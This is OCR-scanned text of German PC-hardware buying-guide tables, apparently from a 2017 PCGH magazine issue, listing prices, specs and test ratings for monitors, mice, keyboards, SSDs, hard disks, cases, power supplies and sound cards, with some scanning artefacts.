* PCI-E-Lane-Sharing ** M.2 shared mit SATA *** M.2 shared mit SATA und mit PCI-E-Slot(s) 
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SERVICE | Einkaufsführer 


Einkaufsführer LCDs & Eingabegeräte ua 


LE Т PREIS-LEISTUNGS-TIPP [ERS fT SPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 


Asus MG248Q Ca. € 305,- 24 Zo 44 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 06/2016 | www.pcgh.de/preis/1419189 

liyama GB2488HSU-B2 Ca. € 300,- 24 Zo 44 Hertz 5 ms 2ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 

Acer XF240H bmjdpr Ca. € 250,- 24 Zo 44 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 
Medion Erazer X58426 Ca. € 400,- 31,5 Zoll 44 Hertz 12 ms 1ms bis 288 cd/m? VA-Pane Freesync 1,76 05/2017 | www.pcgh.de/preis/1 585204 ТТИ 
AOC G2460PF Ca. € 250,- 24 Zo 44 Hertz 6 ms 4ms 156 bis 358 cd/m? N-Pane Freesync 1,77 05/2016 | www.pcgh.de/preis/1318972 

Asus VG278HV Ca. € 360,- 27 Zo 44 Hertz 5 ms 9 ms 58 bis 305 cd/m? N-Pane - 1,79 05/2016 | www.pcgh.de/preis/1336350 

Benq Zowie XL2540 Ca. € 500,- 24,5 Zoll 240 Hertz 5ms 0 ms 40 bis 390 cd/m? N-Pane Freesync 1,83 02/2017 | www.pcgh.de/preis/1534083 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

Viewsonic XG2703-GS Ca. € 845,- 27 Zo 65 Hertz - 2ms bis 355 cd/m? PS-Panel G-Sync 1,56 04/2017 | www.pcgh.de/preis/1504306 

AOC Agon AG241QG Ca. € 500,- 24 Zo 65 Hertz - 3ms bis 450 cd/m? N-Pane G-Sync 1,74 | 04/2017 | www.pcgh.de/preis/1476116 

Asus MG279Q Ca. € 585,- 27 Zo 44 Hertz 8 ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/121 5454 (T T 
Benq XL2730Z Ca. € 600,- 27 Zo 44 Hertz 8 ms 8 ms 52 bis 353 cd/m2 N-Pane Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 550,- 27 Zo 60 Hertz 5 ms 9 ms 74 bis 312 cd/m? VA-Pane - 2,04 | 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

iyama X4071UHSU-B1 Ca. € 570,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |- 1,81 11/2016 | www.pcgh.de/preis/1362847 ТҮРҮ 
Аѕиѕ РВ2870 Са. є 400,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? TN-Panel _ 1,87 07/2014 www.pcgh.de/preis/1094194 «Т ТИЛ. 
Asus РВ2790 Ca. € 600,- 2770 60 Hertz 6 ms 9ms 54 bis 266 cd/m2 IPS-Pane _ 2,04 | 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B Ca. € 540,- 27 Zo 60 Hertz 8 ms 11 ms 72 bis 230 cd/m? IPS-Panel Freesync 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflósung Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp VRR Test in 

LG 38UC99-W Ca. € 1.300,- | 3.840 x 1.600 | 75 Hertz 7 ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 

Asus ROG PG348Q Са. € 1.125,- |3.440x 1.440 | 100 Hertz 6 ms 4 ms 31 bis 324 cd/m? IPS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 870,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? IPS-Panel Freesync 1,76 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 700,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |- 1,76 04/2016 | www.pcgh.de/preis/1195794 

Asus MX34VQ Ca. € 790,- 3.440 x 1.440 | 100 Hertz 12 ms 9 ms bis 299 cd/m? VA-Pane Freesync 1,83 08/2017 | www.pcgh.de/preis/1565011 


Modell Preis Kabellánge | Tasten Abtastung Auflósung | Gewicht Ergonomie Test in 

Roccat Nyth Ca. € 125,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 130 Gramm Sehr gut 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Leadr Ca. € 150,- | Schnurlos 12 + Scrollrad | Optisch (LED) | 12.000 Dpi | 134 Gramm Sehr gu 1,22 | 08/2017 | www.pcgh.de/preis/ 558254. NEU! 
Razer Lancehead Са. € 150,- | Schnurlos | 8 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 126 Gramm Sehr gu 1,27 | 08/2017 | www.pcgh.de/preis/1615980 ^ NEU. 
Roccat Tyon Ca. € 110,- | 180 cm 12 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 126 Gramm Sehr gut 1,32 12/2014 | www.pcgh.de/preis/1154844 

Asus ROG Gladius 11 Са. Є 80,- | 200/100 cm | 6 + Scrollrad | Optisch (LED) 2.000 Dpi | 110 Gramm Sehr gu 1,32 | 04/2017 | www.pcgh.de/preis/ 574884 {Т7 
Logitech 6900 Chaos Spectrum | Ca. Є 110,- | Schnurlos 10 + Scrollrad | Optisch (LED) | 12.000 Dpi | 107 Gramm Sehr gu 1,33 | 07/2016 | www.pcgh.de/preis/1414931 

Razer Mamba 2015 Са. € 140,- | Schnurlos | 6+ Scrollrad | Optisch (LED) | 16.000 Dpi | 128 Gramm Sehr gu 1,37 | 04/2017 | www.pcgh.de/preis/1310490 

Razer Mamba Tournament Edition | Ca.€80,- | 210 cm 6 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 133 Gramm Sehr gu 1,39 01/2016 | www.pcgh.de/preis/1310517 

Roccat Kone EMP Ca.€80,- | 180 cm 6 + Scrollrad | Optisch (LED) 2.000 Dpi | 116 Gramm Sehr gut 1,42 04/2017 | www.pcgh.de/preis/1558194 

6403 Prodigy Wireless Са. € 80,- | Schnurlos 5 + Scrollrad | Optisch (LED) | 12.000 Dpi | 107 bis 117 Gramm Sehr gu 1,43 12/2016 | www.pcgh.de/preis/1503381 

Corsair Scimitar Pro RGB Ca.€90- | 180 cm 16 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 147 Gramm Gut 1,50 05/2017 | www.pcgh.de/preis/1558629 

Sharkoon Skiller SGM1 Са. Є 40,- | 180 cm 9 + Scrollrad | Optisch (LED) 0.800 Dpi | 130 bis 154 Gramm Gut 1,83 | 04/2017 | www.pcgh.de/preis/1501343 


Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in 

Roccat Isku+ Force FX Ca. € 110,- | Voll, RGB-Farbraum _ Ja (integriert) 10 + 5 Makrotasten | Ja/ja (k. A.) 1,60 06/2017 | www.pcgh.de/preis/1558265 

Razer Ornata Chroma Ca. € 110,- | RGB-Einzeltastenbel. _ Ja (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 

Asus Cerberus Ca.€50,- | Voll, zwei Farben _ Ja (integriert) 6 alja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 «ТТЛ. 
Sharkoon Skiller Pro+ Ca.€40,- | Voll, sieben Farben _ Ja (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 «Т? 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue а/а (2 MByte) 1,26 | 09/2016 | www.pcgh.de/preis/1388126 

Razer Black Widow Chroma V2 Ca. € 190,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown alja (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 

Corsair K95 Platimun RGB Ca. € 190,- | RGB-Einzeltastenbel. 1x USB 2.0 Ch. MX Speed КСВ | Ch. MX Speed RGB | Ja/ja (8 MByte) 1,36 07/2017 | www.pcgh.de/preis/1572533 

Sharkoon Shark Zone MK 80 RGB | Ca. € 150,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2015 | www.pcgh.de/preis/ 369386 «ТТ 
Corsair Strafe RGB MX Silent Ca. € 165,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black alja (k. A.) 1,45 11/2015 www.pcgh.de/preis/1258778 «ТҮҢ 
Tt esports Poseidon Z RGB Ca.€95,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB alja (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 

Patriot Viper V760 Са. € 120,- | RGB-Einzeltastenbel. 1xUSB 2.0 Kailh RGB Brown Kailh RGB Brown a/ja (6 Profile) 1,49 07/2017 | www.pcgh.de/preis/1539759 

Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | Ja/ja (k. A.) 1,50 | 03/2017 | www.pcgh.de/preis/1549791 

Roccat Suora FX Ca. € 140,- | RGB-Einzeltastenbel. Keine TTC RGB Brown TTC RGB Brown a/ja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 

G.Skill Ripjaws KM780 RGB Ca. € 150,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX RGB Br. | MX RGB Brown/Red | Јаја (k. A.) 1,52 | 03/2016 | www.pcgh.de/preis/1332861 
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Einkaufsführer | SERVICE 


Einkaufsführer SSDs & Festplatten 


Preise: Stand 22.06.2017 


(LIT ERPREIS-LEISTUNGS-TIPP 


[ELI fT SPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
ТЇЗ, Samsung SSD 850 Evo Ca. € 95,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 | 08/2015 | www.pcgh.de/preis/1194261 
Adata Ultimate 50900 Са. Є 115,- | 238 GiB/256 GB 529/490 MB/s 83.000 84 Sekunden | 5 Jahre 2,00 | 05/2017 | www.pcgh.de/preis/1563414 
Adata SX930 Са. Є 105,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 12/2015 | www.pcgh.de/preis/1299666 
Sandisk X400 Ca. € 95,- 233 GiB/250 GB 478/492 MB/s 23.000 121 Sekunden | 5 Jahre 2,31 07/2016 | www.pcgh.de/preis/1368843 
Sandisk Ultra II Ca. € 95,- 224 GiB/240 GB 478/407 MB/s 24.000 109 Sekunden | 3 Jahre 2,31 07/2016 | www.pcgh.de/preis/1154831 
Kingston HyperX Sav. SSD Kit | Са. € 115,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
Kingston SSDnow UV400 Са. € 90,- 224 GiB/240 GB 512/488 MB/s 22.000 159 Sekunden | 3 Jahre 2,63 05/2017 | www.pcgh.de/preis/1446599 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
Tru Samsung SSD 850 Evo Ca. € 156,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba Q300 Pro Са. € 230,- | 477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Sandisk Extreme Pro Са. € 240,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden | 10 Jahre 2,07 | 07/2016 | www.pcgh.de/preis/1126463 
Sandisk Ultra Il Са. Є 150,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 | 07/2016 | www.pcgh.de/preis/1154832 
Corsair Neutron Xti Са. € 195,- | 466 GiB/480 GB 528/493 MB/s 15000 85 Sekunden | 5 Jahre 2,21 05/2017 | www.pcgh.de/preis/1469015 
Sandisk X400 Са. € 165,- | 477 GiB/512 GB 476/492 MB/s 25.000 99 Sekunden | 5 Jahre 2,23 | 07/2016 | www.pcgh.de/preis/1368844 
Western Digital WD Blue SSD Са. € 150,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 05/2017 | www.pcgh.de/preis/1521437 
Kingston SSDnow UV400 Са. € 155,- | 466 GiB/480 GB 528/480 MB/s 22000 126 Sekunden | 3 Jahre 2,41 05/2017 | www.pcgh.de/preis/1446624 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ] PCGH-Preisvergleich 
Samsung SSD 850 Pro Ca.€450,- | 954 GiB/1.024 GB | 528/502 MB/s 90.000 73 Sekunden | 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.320,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Toshiba Q300 Pro Са. € 395,- | 954 GiB/1.024 GB 519/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,89 05/2017 | www.pcgh.de/preis/1424648 
OCZ VX500 Са. Є 370,- | 954 GiB/1.024 GB | 520/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,91 05/2017 | www.pcgh.de/preis/1507141 
ТТИ) Mushkin Reactor Са. Є 285,- | 932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 | 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Са. € 540,- | 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
Corsair Neutron Xti Са. Є 370,- | 932 GiB/960 GB GB | 528/466 MB/s 78.000 85 Sekunden | 5 Jahre 2,05 05/2017 | www.pcgh.de/preis/1469016 
OCZ Vector 180 Са. € 299,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2,15 08/2015 | www.pcgh.de/preis/1230950 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 08/2015 | www.pcgh.de/preis/1215186 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 
Solid State Drives (M.2/PCle 3.0 x4) 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
TT T Toshiba OCZ RD400 Са. Є 215,- | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 11/2016 | www.pcgh.de/preis/1448318 
Corsair MP500 Ca. € 270,- | 447 GiB/480 GB 2399/1322 MB/s 87.000 49 Sekunden | 3 Jahre 1,84 05/2017 | www.pcgh.de/preis/1552578 
Tr TD PNY сѕ2030 Са. Є 125,- | 238 GiB/240 GB 2.436/1231 MB/s 68.000 52 Sekunden | З Jahre 1,94 | 05/2017 | www.pcgh.de/preis/1571194 
Zotac Sonix Ca.€300,- | 477 GiB/512 GB 2.250/1.330 MB/s 95.000 56 Sekunden | 3 Jahre 2,04 11/2016 | www.pcgh.de/preis/1406123 
Kingston Hyper X Predator Ca. € 345,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 12/2015 | www.pcgh.de/preis/1247224 
Adata SX8000 Са. € 235,- | 447 GiB/512 GB 1112/1110 MB/s 41.000 69 Sekunden | 5 Jahre 2,68 05/2017 | www.pcgh.de/preis/1532201 
Intel SSD 600p Ca. € 180,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 05/2017 | www.pcgh.de/preis/1491162 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ] PCGH-Preisvergleich 
Samsung SSD 960 Pro Са. Є 545,- | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 12/2016 | www.pcgh.de/preis/1511187 
ТТТ) Samsung SSD 960 Evo Ca.€450,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 1,79) 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Са. € 865,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 


Festplatten (3,5 Zoll) 


Ab 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
TT Ty Seagate Ironwolf NAS HDD Са. € 350,- | 9.313 GiB/10.000 GB | 7.200 | 0,6/1,1 Sone 4,8/7,23 ms 88/186 MB/s 1,71 06/2017 | www.pcgh.de/preis/1479598 
Toshiba N300 Ca. € 205,- | 5.586 GiB/6.000 GB | 7.200 1,1/1,6 Sone 2,0/13,4 ms 67/163 MB/s 1,90 06/2017 | www.pcgh.de/preis/1562775 
Seagate Archive HDD 8TB Ca. € 220,- | 7.452 GiB/8.000 GB | 5.900 | 0,5/0,6 Sone 3,5/14,0 ms 43/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 
Altes Testsystem 
Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
UEB Toshiba DTO1ACA300 Са. € 80,- | 2.794 GiB/3.000 GB | 7.200 | 0,3/0,6 Sone 5,2/15,4 ms* 54/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 
Western Digital Red WD30EFRX Са. € 110,- | 2.794 GiB/3.000 GB | 5.400 | 0,2/0,3 Sone 9,9/21,0 ms* 12/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 
Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Western Digital Black WD4003FZEX Ca. € 260,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,9 Sone 2,5/12,9 ms 45/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 
Hitachi Deskstar HDS724040ALE640 Ca. € 160,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,6 Sone 6,3/14,8 ms* 31/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 
Western Digital Red WDAOEFRX Са. € 145,- | 3.726 GiB/4.000 GB | 5.400 | 0,4/0,5 Sone 6,6/18,5 ms 19/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 
Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 2,5/4,3 ms* 67/167 MB/s 172 11/2014 | www.pcgh.de/preis/1148556 
HGST Ultrastar He6 6TB Са. € 400,- | 5.589 GiB/6.000 GB | 7.200. 0,1/1,6 Sone 2,6/5,8 ms 43/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 
Western Digital Red WDGOEFRX Ca. € 235,- | 5.589 GiB/6.000 GB | K.A. 0,3/0,4 Sone 5,8/18 ms* 27/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 
* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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SERVICE | Einkaufsführer 


Einkaufsführer Gehäuse, Netzteile & Sound — «se 


(LLLP Т PREIS-LEISTUNGS-TIPP [ERS f SPAR-TIPP 


Format " 
Midi-Gehäuse (Herstelle- | Preis Lüfterplätze Enthaltene Lüfter MS т ш Ш e VOIR Test in PCGH-Preisvergleich 
rangabe) 

Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 210,- | 9 x 140, 2 x 120 mm 3 x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 

Aerocool XPredator II Big-Tower | Са. € 125,- | 6 x 140 mm 5 x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °C** 1,70 09/2016 | www.pcgh.de/preis/1435421 

Phanteks Enthoo Luxe Big-Tower | Ca. € 130,- | 2x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1,71 04/2015 | www.pcgh.de/preis/1142200 

Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4 x 140 mm, 1 x 120 mm 2 x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °C** 1,84 09/2016 www.pcgh.de/preis/1354897 ТҮҢ 
Enermax Thormax Giant Big-Tower | Ca. € 130,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2 x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °C* 1,84 04/2015 | www.pcgh.de/preis/1189301 

Anidees AI Crystal Midi-Tower | Ca. € 150,- | 6 x 140 mm 4 x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 

Be Quiet Silent Base 800 Midi-Tower | Ca. € 115,- | 5 x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 

Corsair Carbide 600C Midi-Tower | Са. € 125,- | 4 x 140 mm, 1 x 120 mm 2 x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 105,- | 3 x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °С* 1,94 10/2015 | www.pcgh.de/preis/1273311 

Enermax Ostrog ADV Big-Tower | Са. € 115,- | 4 x 140/1 x 120 mm 2 x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 °C** 1,94 09/2016 | www.pcgh.de/preis/1462226 

Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9 x 140/120 mm 2 x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °С* 1,97 02/2015 | www.pcgh.de/preis/1200732 

Bitfenix Shogun Midi-Tower | Ca. € 140,- | 5 x 140 mm oder 7 x 120 mm 3x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 

LC-Power Gaming 986B DS | Midi-Tower | Ca. € 100,- | 7 x 120 mm 2x 120 mm 1,3/1,3 Sone*** 70/72/41 °C 2,46*** | 08/2017 | www. pcgh.de/preis/1531267 NEU 
Chieftec Gaming GP-01B Midi-Tower | Ca. € 80,- | 2x 140 тт, 3 x 120 mm 2x 140, 1 x 120 mm | 2,2/2,1 Sone*** 65/71/49 °C 2,50*** | 02/2017 www.pcgh.de/preis/1493676 «Т ТИ 
Cooltek TG-01 Midi-Tower | Са. € 55,- | 6 x 120 mm 4 x 120 mm 2,3/2,1 Sone*** 65/72/41 °C 2,76*** | 08/2017 | www. pcgh.de/preis/1551024 | NEU - 
* System: Core i7-920, Stromsparmodi aus, Radeon R9 290(X) 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
** System: Intel Core i7-4790; Intel 787, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Thermalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
*** Neues Test- / Wertungssystem (siehe PCGH 02/2017) 


400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in 

Be Quiet Dark Power Pro 11 550W | Ca. € 135,- | 4 x 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 

Seasonic Platinum Fanless 520 Са. € 145,- | 2 х 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 

Cooler Master V550 Ca.€95- |2x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 www.pcgh.de/preis/1325567 «Т ТТЛ 
Bitfenix Whisper M Ca.€90- |4x 6+2-Pin (68 cm) 550 Wa 0,1/0,1/0,1/0,1/0,5 Sone | 88/92/93/92/91 % 1,54 07/2017 | www.pcgh.de/Fluesterleise "NEU 
XFX TS 550 Gold Ca. € 60,- 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 09/2016 | www.pcgh.de/preis/1076839 

Cougar GX-S 550 Ca. € 70,- 2 x 6+2-Pin (60-70 cm) 550 Wa 0,3/0,3/0,3/0,3/2,6 Sone | 85/90/92/91/90 % 2,06 07/2017 www.pcgh.de/silberloewe 

600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in 
Seasonic Prime Titanium 650W Са. € 180,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 

Seasonic Platinum 760W Са. € 160,- | 4 x 6+2-Ріп (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 

Be quiet Straight Pow. 10 700W CM | Ca. € 120,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 96 1,67 02/2015 | www.pcgh.de/preis/1165610 

Über 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in 

Corsair HX1000i Ca. € 215,- | 4 x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 

Enermax Platimax 850W Ca. € 160,- | 4 x 6+2-Pin (50 cm) 840 Watt 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 

EVGA SuperNova G2 850W Са. € 130,- | 2 x 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate GE eye E o Besonderheiten u. a. Test in 

Creative Sound Blaster ZXR Са. 200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB а, TPA6120A2 аа Gesockelte Op-Amps, Tischbox | 1,41 05/2015 | www.pcgh.de/preis/886468 

Asus Xonar Essence STX 2 7.1 | Ca. 240,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB а, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 

Asus Xonar Phoebus Ca. 135,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanále/Abtastrate GE E GE - Besonderheiten u. a. Test in 

